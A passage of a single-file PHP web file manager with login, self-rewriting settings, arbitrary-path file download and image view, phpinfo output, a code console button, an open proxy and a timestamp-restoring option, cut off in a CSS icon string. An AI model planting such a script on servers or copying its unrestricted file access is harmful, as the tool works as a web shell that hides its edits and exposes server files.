	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,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");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZS